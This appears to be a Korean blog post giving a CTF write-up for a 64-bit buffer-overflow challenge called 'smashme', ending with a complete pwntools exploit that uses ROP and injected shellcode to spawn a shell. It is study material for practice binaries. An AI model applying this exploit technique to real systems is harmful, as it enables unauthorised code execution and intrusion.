데프콘이 이제 얼마 안남아서 한번 풀어보는데 최저배점이라 그런지... 너무 쉽다... 그런데 다른건 너무 어렵다 ㅎㅎ
힙 문제가 많던데 이번 기회에 힙 좀 공부해야겠다...
먼저 문제를 보면 64비트 바이너리이다.
보호기법을 보면 아무것도 걸려있는게 없다. 그래서 쉘코드를 쓸 수 있어서 더 쉽다
main을 보면 그냥 gets 받아서 오버플로우 나게 생겼다
그런데 오버플로우가 나지 않아서 보니 중간에 인자에 Smash me outside, how bout dAAAAAAAAAAA와 입력한 값을 인자로 함수호출을 한다.
이 함수가 무엇인지 모르겠어서 디버깅을 해보니까 strstr인 것을 확인할 수 있었다.
그래서Smash me outside, how bout dAAAAAAAAAAA 뒤에 payload를 붙여주면 if문 내로 안들어가 exit이 안되고 오버플로우 난다.
그러면 이제 쉘코드 넣고 쉘코드로 뛰는걸 rop이용해서 하면 된다.
payload
# usr/bin/env python # ryuuu from pwn import * s = process("./smashme") #s = process(["strace","-i","./smashme"]) context(arch='amd64', os='linux') shellcode = asm(shellcraft.sh()) prdi = 0x00000000004014d6 # pop rdi ; ret bss_addr = 0x6CAB60 payload = "Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" payload += p64(prdi) payload += p64(bss_addr) payload += p64(0x40FAD0) #call gets payload += p64(bss_addr) s.sendlineafter("smash?",payload) s.sendline(shellcode) s.interactive()
'pwnable > ctf' 카테고리의 다른 글
[write-up]2018 secoon ctf - profile (0) | 2018.11.06 |
---|---|
[write-up] 2018 SCTF - CowBoy (1) | 2018.07.14 |
x64 systemcall execveat (0) | 2018.05.06 |
[write-up] 2018 ASIS CTF - Cat (0) | 2018.05.02 |
[write-up] 2018 codegate - Super Marimo (0) | 2018.03.08 |
댓글